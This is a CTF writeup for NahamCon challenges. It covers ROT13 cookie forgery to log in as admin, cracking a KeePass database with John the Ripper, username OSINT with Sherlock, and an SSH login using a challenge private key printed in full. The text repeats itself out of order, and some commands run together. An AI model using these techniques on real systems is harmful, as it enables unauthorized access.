**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
